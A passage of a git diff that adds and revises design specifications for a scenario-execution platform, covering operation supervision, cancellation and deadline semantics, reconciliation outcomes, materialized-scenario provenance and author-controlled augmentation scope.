`commit` | expected snapshot revision matches and operation is `RUNNING` | write snapshot revision, one terminal operation, and actor-bound audit together | none | | `reconcile` | operation is non-terminal after restart | classify observed effect and perform one terminal commit | observation only; never replay | | `resolve` | original is terminal `INDETERMINATE` and actor is authorized | create a linked operation and audit; preserve original | explicit operator/embedder action only | @@ -98,12 +108,20 @@ The abstract operations are: Reconciliation classification is closed: -- effect known absent → `FAILED` or `CANCELLED`, according to the admitted +- effect known absent with cessation established → `FAILED` or `CANCELLED`, according to the admitted operation contract; -- effect observed and semantically valid → `SUCCEEDED` with the observed +- complete effect observed and all admitted requirements satisfied → `SUCCEEDED` with the observed snapshot; +- known partial/nonconforming effects and established cessation → `FAILED`, + or `CANCELLED` when its contract is established, with validated residual state; - effect cannot be established → `INDETERMINATE`. +These are semantic classifications, not new recovery wire-enum values. When +the current carriers cannot establish partial effects or cessation, the design +requires indeterminacy. A validated no-op can satisfy the complete operation +contract without a physical mutation. A rejected snapshot preserves the trusted +predecessor without proving absence of external effects. + ## Invariants 1. **Scope invariant.** A P0--P2 store has one immutable `(target_id, run_id)`; @@ -112,7 +130,8 @@ Reconciliation classification is closed: one mutation authority. P1/P2 acquire the owner lease before inspection, migration, cache load, reconciliation, or admission. 3. **Write-ahead invariant.** A backend is invoked only after its operation is - durably `RUNNING` and bound to immutable actor and request context. + authoritatively `RUNNING` (durably in P1/P2) and bound to immutable actor and + request context. 4. **Terminal atomicity invariant.** Snapshot revision, terminal operation, and actor-bound audit become visible together or not at all. 5. **Revision invariant.** Every snapshot mutation uses compare-and-swap diff --git a/specs/formal/runtime-control-plane/supervision.md b/specs/formal/runtime-control-plane/supervision.md new file mode 100644 index 000000000..3297f6c54 --- /dev/null +++ b/specs/formal/runtime-control-plane/supervision.md @@ -0,0 +1,241 @@ +# Operation Supervision and Recovery Semantics + +Status: design authority under ADR-104, issue #1348 and API-404. +Classification: FM3. This specification defines obligations for implementation; +it does not publish a wire schema or assert deployed interruption, bounded +shutdown, checkpoint continuation, or physical containment. + +The [operation model](README.md) owns the persisted state matrix and atomic +store invariants. The [decision](../../../docs/decisions/issue-1348-operation-lifecycle.md) +records canonical requirement dispositions and current implementation gaps. + +## S1 — Authority and admission + +RAE is the shared product runtime driving backend execution. Authors select +required semantics through the owning workflow, time, realization and trial +contracts. The processor preserves them in admitted plans; the runtime admits, +drives, supervises and classifies operations. Backends own concrete realization, +effect observation and contextual willingness. Embedders own process deployment. + +For an operation, let `R` be its exact admitted requirements, `C` the effective +capabilities of the installed backend for that operation kind and context, and +`W` its current willingness. Admission requires `C satisfies R` and `W`. +Manifest declarations, installed protocol support, willingness and evidence of +satisfaction are independent facts. Recheck context after queueing and before +dispatch; prior willingness is not an irrevocable promise. Missing, unsupported, +contradictory or refused required guarantees prevent invocation. Never silently +shorten a required duration, weaken a requirement, substitute another backend, +or interpret absence of support as best effort. An authored alternative needs +fresh admission and preserved provenance. + +Admission and supervision use existing authentication, role/subject checks, +bounded request admission, closed value/config/manifest validators and safe +diagnostics. The original actor, target/run, kind and request commitment remain +immutable. Every supervisor is independently authorized for the exact operation +and records its own actor and request identity; it cannot replace the original +actor or widen scope. Operational audit, participant observation and archival +evidence retain their existing authorities. No credentials, raw input, native +exception text, process arguments or environment dumps enter these records. + +## S2 — Three boundaries, one state authority + +| Boundary | Required action | What it establishes | +| --- | --- | --- | +| Admission/claim | Validate requirements and authority; atomically claim scoped identity and record intent. | `ACCEPTED`, not an external effect. Denial before claim remains audit only. | +| Dispatch | Revalidate admission and willingness; reserve the conflicting-effect scope and record `RUNNING` before invoking. | Permission for this invocation, not its success. P1/P2 persist before invocation; P0 orders in process only. | +| Settlement | Validate effect evidence and all required result/release gates, then commit snapshot, terminal record and actor-bound audit atomically with revision CAS. | One authoritative outcome, not universal external rollback or exactly-once effects. | + +One owner still serializes **state mutations**, including supervision records. +External calls must not hold the logical permit needed to record supervision. +The owner releases that short state permit after dispatch while retaining an +execution reservation that excludes conflicting effects. This is not admission +of another writer or store. A completion reacquires the same authority and +checks operation identity, execution generation, current terminal state and +snapshot revision before publication. A stale revision requires reconciliation +against current state, never blind snapshot merge or backend re-invocation. + +Use target/run-wide exclusion unless narrower independence is established by +the admitted contract. Reads and bounded supervisory requests remain serviceable +while an external invocation is blocked. Reserve bounded control capacity across +HTTP admission, workers and audit queues, as well as the core authority; putting +a cancel request behind a saturated effect queue does not satisfy supervision. +Control overload has a bounded, explicit rejection and cannot silently discard +an acknowledged request. No callback gains authority to mutate the store. + +An execution generation fences stale **state publication**. It does not fence +a remote effect. Release the conflicting-effect reservation only when the +admitted backend guarantee establishes cessation and a known reconciled effect +boundary. Otherwise retain quarantine, even after a terminal `INDETERMINATE` +record. A direct `RuntimeManager` or new control-plane instance targeting the +same resources cannot be used to bypass this exclusion. + +## S3 — Supervision is orthogonal to operation state + +The persisted states remain `ACCEPTED`, `RUNNING`, `SUCCEEDED`, `FAILED`, +`CANCELLED`, `INDETERMINATE`. No `CANCELLING`, `TIMED_OUT` or `PARTIAL` operation +state is introduced. Queue residence before a claim is not an operation state. +The conceptual supervision dispositions are request recorded, backend accepted, +backend refused/unsupported, and cessation established. They need correlated, +ordered evidence; they are not new published enum values in this issue. + +- Stop admission: reject new effect work and prevent queued work from dispatching + after the stop boundary. It does not stop work already dispatched. Continue + authorized status, supervision and reconciliation during drain. +- Cancel before dispatch: serialize cancellation against dispatch. The winner + determines whether invocation is possible. An unclaimed waiter leaves no + operation; a claimed `ACCEPTED` operation can atomically become `CANCELLED`. + Contextual refusal after claim but before dispatch withdraws that acceptance + through `CANCELLED` with a refusal diagnostic; it is not a pre-claim denial. + If write-ahead `RUNNING` was already recorded but no call occurred, classify + the proven absent effect through the ordinary running settlement boundary. +- Cancel after dispatch: record and deliver a scoped request through the + admitted backend control capability. Acceptance means the backend undertakes + the request, not that effects ceased. Refusal/unsupported leaves the executing + operation running until observed settlement or the supervision budget expires. +- A proven cancellation requires scoped evidence that no further prohibited + effects can occur and that residual effects satisfy the cancellation contract. + `CANCELLED` can retain known partial effects; it never means universal rollback. + +Cancellation and completion race through one terminal-commit boundary. If +success commits first, cancellation observes the terminal result. If a request +is accepted first but work completes before cessation, the valid result may +still be `SUCCEEDED`; the request disposition is retained separately. Once +cancellation or indeterminacy commits, a late result cannot rewrite the parent. +Record admissible late evidence for linked resolution through the same authority. +Repeated requests with the same scoped request identity are idempotent; they do +not multiply interrupts, reset deadlines or create another execution attempt. + +Workflow cancellation, participant episode termination, stopping a backend, +operation completion and verified cleanup are distinct outcomes. A successful +operation that records a workflow cancellation proves only its admitted action. +A disconnect, cancelled future or killed local process proves no remote cessation. + +## S4 — Deadlines and shutdown + +Operational budgets use local apparatus monotonic elapsed time. Each admitted +budget is positive, finite, validated and bound to its stage and origin: + +| Budget | Starts | Expiry consequence | +| --- | --- | --- | +| Admission/queue, including lease acquisition | Receipt into the bounded queue or start of the admission attempt | Reject unclaimed work; cancel a claimed but undispatched operation. Never dispatch an expired waiter. | +| Execution, including contextual provider calls | Before the first external call of the stage | Close dependent admission, request supported interruption, and begin bounded settlement. Expiry supplies no effect evidence. | +| Interruption/observation | First control request or reconciliation observation | Retain exclusion and classify unknown effects as indeterminate; do not wait forever for an observer. Duplicate requests do not renew the budget. | +| Commit/readback | Start of the store transaction attempt or its bounded readback | Stop admission; use atomic readback. Unknown acknowledgement poisons readiness and publication until authoritative state is established. | +| Drain/close | Stop-admission boundary | Escalate to the embedder with unresolved operations and retained exclusion; never report successful shutdown solely because the budget expired. | + +Nested calls consume the remaining enclosing budget; bounded retries or fan-out +cannot renew it. Store waits and audit publication are covered too: if the +single state authority itself cannot make progress, supervision reports inability +to establish settlement rather than claiming a persisted terminal outcome. +Liveness is conditional on the admitted store/control/backend capabilities; +there is no universal hard real-time claim. + +Authored deadlines retain the shared time model's clock, domain, segment and +mapping semantics. Scenario pause/reset cannot pause apparatus supervision. +When an operational ceiling is incompatible with an authored guarantee, reject +admission; do not silently reinterpret the authored deadline. Use the owning +policy's existing defaults when no additional guarantee is selected. + +Monotonic readings are not portable restart timestamps. Durable records use the +incumbent strict UTC format plus the selected budget and origin evidence. +Restart must establish clock continuity/elapsed bounds or classify them unknown; +it cannot restart a full execution budget or resume from a raw monotonic value. +Keep existing strict workflow timestamp validation and inclusive expiry rules. + +Shutdown stops admission, requests supported cessation, settles or quarantines +operations, closes the store provider, then releases the owner lease. If store +close is unconfirmed, retain the lease while the process lives. If the embedder +must terminate the process, that is a declared loss boundary: a restart acquires +the store lease but remains unready until external work is reconciled. Local +lease release or process death is never an external fence. Restore obeys the +same rule because the database can be older than backend effects. + +## S5 — Effects, terminal publication and reconciliation + +Classify knowledge of effects separately from the requested outcome: + +| Established evidence | Terminal classification | +| --- | --- | +| Quiescent, known absent; the operation did not meet its contract | `FAILED`, or `CANCELLED` for established cancellation under its contract. | +| Quiescent, all admitted requirements/results/release gates satisfied, including a validated no-op | `SUCCEEDED`; a no-op need not change the snapshot revision. | +| Quiescent, known partial or otherwise known nonconforming effects | `FAILED`, or `CANCELLED` if the cancellation contract is established; retain validated residual state. | +| Unknown residual effects, unproved cessation, malformed/untrusted result, or inconclusive observation | `INDETERMINATE`; preserve trusted state and quarantine the affected scope. | + +An effect-absent observation at one instant is insufficient while a worker can +still act. A generic backend exception or `success=false` with the predecessor +snapshot proves neither absence nor known failure. ASR-532 still rejects unsafe +results and preserves the trusted predecessor; that preservation does not assert +the external world is unchanged. Observed effects do not imply satisfaction of +the complete operation contract, including final disclosure/release gates. + +Commit a validated partial snapshot only through existing domain/result +validation and atomic terminal publication. If existing carriers cannot express +that evidence or its residual scope losslessly, use indeterminacy, not free-form +metadata or a fabricated success. Compensation is separately admitted work under +SEM-204; compensation failure and SCE-007 cleanup results never erase the primary +outcome or certify environmental reversal. + +Reconciliation is bounded **observation and classification**, not replay. It +uses immutable operation/actor/request/backend context, scoped effect identity, +validated state and evidence of cessation. Missing observation capability is +permitted in existing P1/P2 compositions, whose fallback is indeterminacy. It +does not satisfy an operation explicitly requiring provable interruption, +recovery or continuation; such an operation must fail admission. + +Lost commit acknowledgement is uncertainty about the store, distinct from +uncertainty about the backend. Read back the complete atomic cut before exposing +a terminal result or releasing exclusion. If the cut cannot be established, +preserve the last trusted projection as stale, poison readiness and refuse new +effect work. Do not write a second terminal outcome to compensate for a timeout. +After restart, read the authoritative operation before any recovery classification. + +An `INDETERMINATE` parent is immutable. A separately authorized linked resolution +operation can establish new evidence and disposition, with its own audit and +idempotency claim. Administrative acceptance of a snapshot acknowledges a choice; +it does not establish cessation, retry safety, a clean range or scientific +validity. Quarantine is discharged only by the required effect/cessation evidence +and applicable admission rules, not by the existence of the child receipt. + +## S6 — Author-directed subsequent work + +Use the existing authored policies and their normative defaults. Durability adds +none of the permissions below. Fresh authorization and current backend +willingness are required whenever subsequent work can produce effects. + +| Action | Authority and necessary evidence | +| --- | --- | +| Transport retry | Same actor-scoped idempotency claim returns the same operation; no invocation. Credential-sensitive retry still needs its existing exact ephemeral proof; use status retrieval when that proof is unavailable after restart. A fresh key alone authorizes nothing. | +| Workflow retry | SEM-203's retry graph, attempt bounds, guards and history. It is not a store-recovery retry loop. | +| Another trial execution attempt | SCE-007 `ExecutionRetryPolicyModel`: remaining attempts, selected after-effect posture, and established idempotence or required reset/compensation evidence. New `execution_attempt_id`, same admitted entry and archival `run_id`. | +| Resume | Explicit permitted continuation, a compatible checkpoint/continuation boundary, reconciled effects, preserved workflow/participant/time state and valid inputs/authority. Same run and preserved history; any new control operation links to the original. A snapshot alone is insufficient. | +| Terminate | Authorized policy ends the relevant control flow and closes admission; separately report backend cessation, episode outcome, cleanup and trial validity. Emergency administrative stop can contain work but cannot silently change authored success/validity criteria. | +| New trial | Authorized allocation under EXP-706/SCE-002, distinct admitted trial coordinate/run identity, clean or declared reusable initial state and SCE-006/007 isolation/cleanup evidence. Preserve the failed/interrupted trial and its invalidation evidence. | + +No resumed or repeated effects enter a quarantined scope. An independently +isolated new trial may be admitted only with evidence that old work cannot reach +its resources; changing an operation id, run id, backend name or store path is +not isolation. If required cleanup fails, deny reuse and preserve its independent +failed/partial/unverified result. Failure requiring a new trial cannot be +converted into continuation, and permission for a new trial does not allocate it +automatically. For executions without an experiment, no trial wrapper is required. + +Before effects, inability to establish a required guarantee means refusal. +After dispatch, classify known non-satisfaction as failure and uncertainty as +indeterminate, record the requirement violation and applicable trial deviation +or invalidation, and stop dependent admission. A refusal is not permission to +retry, substitute, replan or weaken requirements. Selectable future physical-OT +protections follow these same admission rules; ordinary simulations and CTFs +do not inherit them or gain a safety-certification claim. + +## Bounded verification and implementation boundary + +`implementations/python/tests/operation_supervision_model.py` is a finite +abstract oracle. `test_issue_1348_operation_supervision.py` checks S1–S6 through +admission refusal, cancellation/completion order, 64 effect-evidence +combinations, late/stale completion, atomic publication uncertainty, monotonic +expiry and continuation counterexamples. Evidence booleans are assumptions +supplied by the modeled boundary; they do not implement or prove those witnesses. +The model covers one operation and one conflicting-effect scope. It is not a +thread scheduler, storage implementation, wire codec, unbounded proof or runtime +refinement. Existing lifecycle/profile and cleanup contract tests retain their +separate claims. No new profile capability is claimable from these model tests. diff --git a/specs/formal/scenario-variation-trial-realization/README.md b/specs/formal/scenario-variation-trial-realization/README.md index 165904b88..e198ef432 100644 --- a/specs/formal/scenario-variation-trial-realization/README.md +++ b/specs/formal/scenario-variation-trial-realization/README.md @@ -1,6 +1,7 @@ # Scenario Variation And Trial Realization Invariants -Status: normative design invariant set +Status: normative design invariant set with delivered SCE-002 contract, +compiler, realization, and focused-test coverage Classification: FM2 (semantic graph / constraint) @@ -15,13 +16,16 @@ This specification constrains the path from a composed SDL scenario family to an admitted trial plan, an instantiated scenario, and existing archival experiment provenance. It fixes identity, phase ordering, selection, random-stream, secrecy, admission, backend, scheduling, and late-binding -properties for follow-on implementations. +properties. -It is not an executable model. The SCE-002 family declarations are published in -the SDL authoring schema, and experiment selection policies are published in -the experiment authoring schema. The remaining executable contracts, compiler, -properties, and differential witnesses are tracked by #274 and #788 through -#791. +The formal model in this file is not itself executable. Its SCE-002 delivered +slices include the bounded SDL family and experiment-selection contracts, +admitted-trial-plan and trial-compilation contracts, deterministic compilation +and sealed-entry realization, and focused compiler/realization tests. The work +previously tracked by #274 and #788 through #791 is therefore implementation +evidence, not pending coverage. It remains distinct from backend behavioral +equivalence, availability, hidden-state reconstruction, and exact replay +claims, which this specification does not make. ## Model @@ -632,13 +636,8 @@ schema, positive/negative fixtures, and unit tests. It deliberately does not compile logical trial coordinates or instantiate selected scenarios. Issue #789 supplies the exact v1 profiles above, SDL-owned selected-scenario construction/admission, deterministic plan compilation, and unit/property/ -thread/process determinism evidence. Remaining evidence is allocated as -follows: - -- unit-test evidence is waived to #790 and #791; -- typed IR/contract evidence is waived to #274, #788, and #791; and -- property/differential evidence is waived to #274, #790, and #791. - -The dated waivers and paths are registered in -`specs/formal/assurance-fulfillment.yaml`. SCE-002 remains DRAFT until those -follow-on artifacts land. +thread/process determinism evidence. #274, #788, #790, and #791 complete the +associated typed contract, trial-realization, provenance, and focused-test +surfaces. The current authoritative SCE-002 requirement is ACTIVE; the dated +allocation record in `specs/formal/assurance-fulfillment.yaml` is historical +planning context rather than a statement that these artifacts remain pending. diff --git a/specs/formal/sdl-phases/README.md b/specs/formal/sdl-phases/README.md index 7c477836b..0aabe4052 100644 --- a/specs/formal/sdl-phases/README.md +++ b/specs/formal/sdl-phases/README.md @@ -14,6 +14,7 @@ Let: - `A` be a normalized authoring object; - `E` be an expanded authoring object; - `I` be an instantiated scenario; +- `M` be a descriptive materialized scenario; - `S` be an instantiated snapshot; - `tokens(x)` be every `${portable-id}` token occurring in a string value of `x` (mapping keys are not substitution sites); and @@ -25,13 +26,16 @@ The phase shapes are: fields(A) subset-of C union {module, imports, realization, variables, variation_points} fields(E) subset-of C union {variables, variation_points, expansion_provenance} fields(I) subset-of C union {instantiation_provenance} +fields(M) subset-of C union {materialization_provenance} fields(S) = {profile, scenario} ``` The subset relation accounts for optional members of a closed shape. No member outside the relevant set is admitted. `name` is required in `A`, `E`, and `I`; `instantiation_provenance` is additionally required in `I`; both `profile` and -`scenario` are required in `S`. +`scenario` are required in `S`. `M` requires `name` and +`materialization_provenance`; it describes the world without granting execution +authority. ## Phase-specific member catalog @@ -41,15 +45,16 @@ checked against the closed phase models; `optional`, `required`, and `forbidden` describe member admission, not whether an author chose to write an optional value. -| Member | Normalized authoring | Expanded authoring | Instantiated | Transfer disposition | -| --- | --- | --- | --- | --- | -| `module` | optional | forbidden | forbidden | Consumed by expansion; verified module facts are represented by `expansion_provenance.imports` when imports are resolved. | -| `imports` | optional | forbidden | forbidden | Consumed by expansion; resolved imports move to `expansion_provenance.imports` and later `instantiation_provenance.imports`. | -| `realization` | optional | forbidden | forbidden | Normalized designation records move to `expansion_provenance.realization_designations` and later `instantiation_provenance.realization_designations`. | -| `variables` | optional | optional | forbidden | Selected values move to provenance bindings; variable definitions do not survive instantiation. | -| `variation_points` | optional | optional | forbidden | Composition preserves and namespaces family declarations. Recorded-selection integration consumes them before instantiation; unresolved non-empty families fail closed. | -| `expansion_provenance` | forbidden | optional | forbidden | Its portable import, constraint, explicitness, and realization records feed instantiation provenance. | -| `instantiation_provenance` | forbidden | forbidden | required | Required portable derivation context for an instantiated artifact. | +| Member | Normalized authoring | Expanded authoring | Instantiated | Materialized | Transfer disposition | +| --- | --- | --- | --- | --- | --- | +| `module` | optional | forbidden | forbidden | forbidden | Consumed by expansion; verified module facts are represented by `expansion_provenance.imports` when imports are resolved. | +| `imports` | optional | forbidden | forbidden | forbidden | Consumed by expansion; resolved imports move to `expansion_provenance.imports` and later `instantiation_provenance.imports`. | +| `realization` | optional | forbidden | forbidden | forbidden | Normalized designation records move to `expansion_provenance.realization_designations` and later `instantiation_provenance.realization_designations`. | +| `variables` | optional | optional | forbidden | forbidden | Selected values move to provenance bindings; variable definitions do not survive instantiation. | +| `variation_points` | optional | optional | forbidden | forbidden | Composition preserves and namespaces family declarations. Recorded-selection integration consumes them before instantiation; unresolved non-empty families fail closed. | +| `expansion_provenance` | forbidden | optional | forbidden | forbidden | Its portable import, constraint, explicitness, and realization records feed instantiation provenance. | +| `instantiation_provenance` | forbidden | forbidden | required | forbidden | Required portable derivation context for an instantiated artifact; materialization refers to the source digest, never copies its history onto a different world. | +| `materialization_provenance` | forbidden | forbidden | forbidden | required | Descriptive producer, execution, source and field/member lineage for the post-materialization world. | ## Transition Relations @@ -60,11 +65,15 @@ normalize : Source -> A or error expand : A -> E or error bind : (A or E) x Parameters -> I or error snapshot : I -> S or error +describe : (I, admitted execution, realized scope) -> M or error ``` `expand` may be the identity on executable content when no imports exist, but the trusted expanded representation remains distinct. There is no supported transition from `I` back to `A` or `E`, and no parser treats `S` as source. +The ordinary source parser also reads `M`, with no composition or binding. +Its shared compiler/planner output is inspection-only. Executing a description +requires an explicit new authoring derivation. ## Invariants @@ -179,6 +188,15 @@ equivalence or bisimilarity. ## Evidence Mapping +Materialized admission additionally requires exact native-identity differences +from `I`, complete instance bindings and a match with the returned resource +inventory in the producer's operation domain. The original execution authority +gate remains independent and precedes attestation acceptance. Its canonical +identity is `SHA256(JCS({profile: "raes-sdl-materialized/v1", scenario: M}))`. +See [the materialization contract](../../sdl/materialization-attestation.md) +and `test_issue_1241_materialization_*.py` for source-binding, origin, archival +and restart evidence. A producer assertion does not prove physical-world truth. + - typed phase and provenance records: `implementations/python/packages/raes/scenario.py` and `phase_contracts.py` diff --git a/specs/formal/validation-admission-profiles/README.md b/specs/formal/validation-admission-profiles/README.md index d76dfd877..2bb4a02f2 100644 --- a/specs/formal/validation-admission-profiles/README.md +++ b/specs/formal/validation-admission-profiles/README.md @@ -5,9 +5,14 @@ model. It defines how RAES distinguishes structural, semantic, behavioral, and stronger validity claims, and how artifacts disclose the basis and limitations of those claims. -The specification is a docs/spec design artifact for issue #97. It does not -publish schemas, fixtures, Python models, validators, API endpoints, runtime -behavior, storage, or conformance probes. +This specification originated as the docs/spec design artifact for issue #97. +Issue #97 itself did not publish schemas, fixtures, Python models, validators, +API endpoints, runtime behavior, storage, or conformance probes. Follow-on +issues #258 and #259 now provide the bounded validation-profile and +validation-basis disclosure contracts, schemas, fixtures, models, validators, +carrier integrations, and focused tests described in the implementation +coverage below. Those delivered surfaces do not expand this specification's +normative claim boundaries or make every validation claim equally strong. ## FM Classification @@ -219,11 +224,18 @@ artifact. Either form preserves the same semantics. ## Implementation Coverage Issue #97 establishes the architecture and normative semantics for ASR-511 and -ASR-515. Executable coverage is represented by the spawned implementation -issues: - -- #258: ASR-511 profile taxonomy implementation. -- #259: ASR-515 validation-basis disclosure implementation. +ASR-515. The follow-on implementation work is now delivered: + +- #258 publishes the ASR-511 validation-profile taxonomy, catalog, contracts, + schemas, fixtures, validators, and carrier integration, with focused + coverage in `test_validation_profiles.py`. +- #259 publishes the ASR-515 validation-basis disclosure contracts, schemas, + fixtures, models, validators, and carriers, with focused coverage in + `test_validation_disclosure.py`. + +These are bounded contract and validator surfaces. They do not turn a +structural check into a semantic, behavioral, evidence-backed, or +falsification-backed claim without the corresponding governed gate evidence. ### Governed scenario satisfiability diff --git a/specs/sdl/README.md b/specs/sdl/README.md index 41b2f847f..2b2196bb3 100644 --- a/specs/sdl/README.md +++ b/specs/sdl/README.md @@ -18,6 +18,10 @@ Python. ## Authority relationship +The [participant identity contract](participant-identity.md) separates participant +declaration identity, optional affiliation and role, organizational objective +ownership, explicit assignment, and realized actor attribution. + Three artifact classes describe the SDL, with distinct authority: 1. **This prose specification (`specs/sdl/`)** is the language-neutral @@ -31,7 +35,7 @@ Three artifact classes describe the SDL, with distinct authority: either to override the other. Where this prose states a structural fact (a section's presence, requiredness, or value shape), the applicable `sdl-authoring-input-v1`, `instantiated-scenario-v1`, or - `instantiated-scenario-snapshot-v1` schema is the authoritative enumeration + `instantiated-scenario-snapshot-v1` or `materialized-scenario-v1` schema is the authoritative enumeration the prose is written to match. The authoring schema validates the normalized object, not raw YAML presentation; `document-model.md` §1 and the `contracts/fixtures/sdl/sdl-yaml-v1/` corpus define the raw source profile. @@ -77,6 +81,9 @@ tests, rather than a prose rewrite. The catalogs are: | [`authored-domain-topology.md`](authored-domain-topology.md) | — | Authored identity domains, controller/member topology, account domain bindings, compiled ordering, provisioner capability, admission, and readback invariants. | | [`account-credential-bindings.md`](account-credential-bindings.md) | — | Typed account fixture/operator credential bindings, normalization, lifecycle, capability admission, redaction, and participant disclosure boundaries. | | [`initial-service-state.md`](initial-service-state.md) | — | Service-target content materialization, tenant/reset ownership, exact backend admission, readback, and observational equivalence. | +| [`participant-relationships.md`](participant-relationships.md) | — | Directed participant coordination, delegation, cooperation, competition and supervision, with optional checked refinements. | +| [`materialization-attestation.md`](materialization-attestation.md) | — | Closed descriptive SDL after materialization, complete in-world origin reporting, execution binding and protected archival delivery. | +| [`augmentation-scope.md`](augmentation-scope.md) | — | Open-by-default author permission for additional in-world effects, scoped restrictions, and pre-materialization refusal. | | [`observability-and-evidence.md`](observability-and-evidence.md) | **5. Observability and evidence planes** | Scenario-native observability, authored evidence requirements, processor/backend operational observability, captured evidence, derived analysis, and augmentation classification rules. | | [`scientific-scenario-completeness.md`](scientific-scenario-completeness.md) | — | REV1 intended-use profiles, atomic concern dispositions, separately revisioned delivery assessment, computed completeness, and explicit scientific non-claims. | | [`diagnostics.md`](diagnostics.md) | — | The parse / semantic-validation / instantiation stages, direct-artifact admission, and the normative error-vs-advisory classification criterion. | diff --git a/specs/sdl/augmentation-scope.md b/specs/sdl/augmentation-scope.md new file mode 100644 index 000000000..2c176de63 --- /dev/null +++ b/specs/sdl/augmentation-scope.md @@ -0,0 +1,139 @@ +# Scenario augmentation scope + +`augmentation_scope` controls whether a processor or backend may introduce +additional in-world effects to satisfy evidence, evaluation, or operational +requirements. It is independent of realization delegation, observation demand, +and visibility/comparability classification (SEM-225; issue #1242). + +## Open by default + +**Omitting `augmentation_scope` means open.** Authors must explicitly forbid +additions; they do not have to enumerate and authorize every collector, listener, +wrapper, or other implementation detail in advance. Closed-by-default semantics +would impose a large, unexpected burden on scenario authors, who cannot reasonably +anticipate every backend's implementation requirements. Open-by-default also +preserves compatibility with existing scenarios. + +Open permission does not waive other requirements. A backend must still satisfy +the requested evidence, preserve exact authored values, obey realization authority, +honor prohibited observation, and disclose realized effects under its negotiated +reporting contract. Permission to add something is not evidence that it exists. + +## Author declarations + +Forbid all additional in-world effects: + +```yaml +augmentation_scope: + default: closed +``` + +Allow additions generally, but protect a particular node: + +```yaml +augmentation_scope: + default: open + scopes: + - scope: /nodes/subject + permission: closed +``` + +A closed default can have an explicit open exception, for example +`/nodes/management`. The most specific applicable rule wins within one authoring +namespace. Equal-specificity duplicate rules are invalid. Scope addresses use +the existing SDL semantic-address system and must resolve to a node, collection, +or concern; prefix-like names such as `management-extra` are not descendants of +`management`. Collection member identity is preserved across reordering. + +Composition qualifies scope addresses with the same declaration identities as +the rest of the imported module. Imported policies remain independently binding: +an importing document's open default cannot reopen a module's explicit closure. +An outer closure can further restrict an import. The `namespace` carrier records +this composition provenance; it is not another permission axis. It must own the +addressed declaration (or an ancestor module); naming an unrelated admitted +import is invalid. An imported open default does not override an outer closure: +the outer author must explicitly permit the affected scope as well. + +## What counts as an addition + +The boundary is the common SDL world described by +[materialization attestation](materialization-attestation.md), not whether an +object is called instrumentation or happens to be installed on a separate host. +Collectors, sidecars, listeners, process wrappers, mounts, environment changes, +network configuration, and injected content are in scope when they introduce +observable in-world effects. Replacing or removing something can also introduce +an effect; merely labeling a difference `selected` does not exempt it. + +Ordinary selection of an explicitly delegated platform/OS concern is realization, +not augmentation. Out-of-world bookkeeping, archive writes, and passive processing +of already obtained observations do not themselves add to the scenario world. + +Every affected scope must permit the effect, including its installation location +and its impact on other nodes or concerns. An open management node does not grant +permission to alter a closed subject. A logical observation boundary does not +establish network isolation. Unknown or incompletely described impact is not an +admissible prospective effect. + +## Admission and refusal + +Explicit policy requires negotiation of `backend-augmentation-scope-v1` and +`backend-materialization-attestation-v1`. An older backend must refuse an explicit +policy it cannot enforce, even if that policy says `open`; it must not silently +ignore the declaration. Historical documents with no policy retain their existing +negotiation behavior. A scope-capable backend evaluates omission as open. +The canonical phase plan retains `augmentation_scope_required` and its full +original source when an author declares policy, including when negotiation fails. +Runtime boundaries validate the source's bound identity and derive the requirement +from its policy as well as the plan flag. Clearing diagnostics or that flag cannot +erase the source's requirement. + +Before mutation, the producer supplies a read-only preparation containing the +prospective common SDL content, complete effect coverage using the attestation's +`raes-materialization-effects/v1` comparison, the requirements needing each effect, +and all affected scopes. This is a prediction, not a post-materialization +attestation. It is bound to the full original source, plan, operation, run, +predecessor, and backend manifest/configuration identities. + +The producer API is `prepare_augmentation(plan, snapshot)`. Preparation must not +install, initialize, collect, or otherwise mutate the world. Its `content` is +bounded JSON for the existing common SDL content, without phase provenance; +it must not fabricate a post-materialization report. Each effect identifies an +actual comparison pointer, at least one requirement, and all affected scopes. +Requirement references resolve to an original `/evidence_requirements/`, +`/objectives/`, `/assertions/`, or `/propositions/` declaration. +The fixed `backend-operational` reference denotes intrinsic backend execution +requirements, not arbitrary backend diagnostic prose. Content is limited to +1 MiB, effects to 4,096, and aggregate effect/scope/requirement references to +16,384, in addition to the shared portable-value bounds. + +The manager prepares all active provisioning, evaluation, and orchestration +phases before its first mutation, then checks that each producer's immediate +preparation has not changed the admitted intent. Each producer declares only its +own changes from the original source. The runtime composes these into cumulative expectations +using native collection identities; a later producer cannot overwrite or claim +another producer's effects. Conflicting ownership is refused before mutation. +Later invocations retrieve the preceding attestation through the protected archive +and verify its bytes, identity, and source lineage before composing their effects. +Their actual attestation retains the cumulative world, including earlier phases. +Successful preparation warnings and informational diagnostics remain advisory +and are emitted once at the immediate preparation boundary. Time, participant, and +observation hooks must also prepare. These hooks do not have an in-world +attestation delivery boundary: any apparatus they need must be materialized +through an admitted, attested plan phase first. A hook declaring its own +in-world addition is therefore refused before mutation, even under open +permission. Read-only/out-of-world hooks can proceed. This prevents an +attestation archived before collection from concealing a later installation. +The independent durable control-plane path applies the same preparation and +observation-hook admission before its mutating call. + +If required evidence cannot be obtained without an effect in closed scope, the +runtime refuses before materialization. The operator-facing diagnostic names the +requirement, needed effect, and governing closed scope. It must neither introduce +the forbidden effect nor omit the required evidence and report success. Optional +collection is not a loophole for an otherwise prohibited addition. Existing +complete-offer capture admission and observation lifecycle guarantees still apply. + +Actual effects are checked against the admitted preview and original authority +before publishing an accepted attestation. A mismatch is failure, not permission +to replay with wider authority; valid cleanup inventory is retained. Attestation +and archival success cannot retrospectively authorize an addition. diff --git a/specs/sdl/document-model.md b/specs/sdl/document-model.md index 06cb27368..216f7d361 100644 --- a/specs/sdl/document-model.md +++ b/specs/sdl/document-model.md @@ -100,7 +100,8 @@ to match `contracts/schemas/sdl/sdl-authoring-input-v1.json`. These rules describe `sdl-authoring-input-v1`. Derived phase contracts add their own required members: an instantiated scenario requires `instantiation_provenance`, and an instantiated snapshot requires both -`profile` and `scenario` (§7). +`profile` and `scenario` (§7). A materialized description requires +`materialization_provenance` rather than instantiation provenance. ## 4. Structural closure (fail-closed) @@ -209,13 +210,13 @@ more portable namespace segments followed by one portable local id, rendered with `.` separators. The reserved `__private` namespace segment may be generated for non-exported module declarations but is invalid author input. Qualified names are bounded to 2048 characters. Raw and normalized authoring objects admit -local ids only; expanded and instantiated objects may carry generated qualified +local ids only; expanded, instantiated and materialized objects may carry generated qualified top-level identities. Nested owner-local ids, including node runtime-family ids, remain local. ## 7. Document phases and schema boundaries -SDL has one source presentation followed by four distinct data forms. Their +SDL has one source presentation and distinct authoring, instantiated and 